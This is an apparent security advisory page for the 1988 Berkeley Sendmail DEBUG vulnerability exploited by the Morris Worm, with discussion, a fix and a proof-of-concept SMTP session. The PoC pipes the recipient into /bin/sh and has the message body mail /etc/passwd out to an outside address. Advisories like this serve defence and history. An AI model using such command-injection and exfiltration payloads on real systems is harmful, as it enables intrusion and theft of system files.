Berkeley Sendmail DEBUG Vulnerability

BID:1

Info

Berkeley Sendmail DEBUG Vulnerability

Bugtraq ID: 1
Class: Configuration Error
CVE:
Remote: Yes
Local: Yes
Published: Oct 01 1988 12:00AM
Updated: Oct 01 1988 12:00AM
Credit:
Vulnerable: Eric Allman Sendmail 5.58
Not Vulnerable: Eric Allman Sendmail 5.59

Discussion

Berkeley Sendmail DEBUG Vulnerability

Sendmail's debug mode allows the recipient of an email message to be a program that runs with the privileges of the user id which sendmail is running under. This user is normally root.

This allows an attacker to set the recipient to the shell and include shell commands in the message body.

This vulnerability was used by the Morris Worm.

Exploit / POC

Berkeley Sendmail DEBUG Vulnerability

220 mail.victim.com SMTP
helo attacker.com
250 Hello attacker.com, pleased to meet you.
debug
200 OK
mail from: </dev/null>
250 OK
rcpt to:<|sed -e '1,/^$/'d | /bin/sh ; exit 0">
250 OK
data
354 Start mail input; end with <CRLF>.<CRLF>
mail [email protected] </etc/passwd
.
250 OK
quit
221 mail.victim.com Terminating

The sed in the receipient strips all mail headers from the
message before passing it on to the shell.

Solution / Fix

Berkeley Sendmail DEBUG Vulnerability

Solution:
Upgrade to sendmail 5.59 or later and disable the debug option. All versions earlier than 5.59 are vulnerable.

References

Berkeley Sendmail DEBUG Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report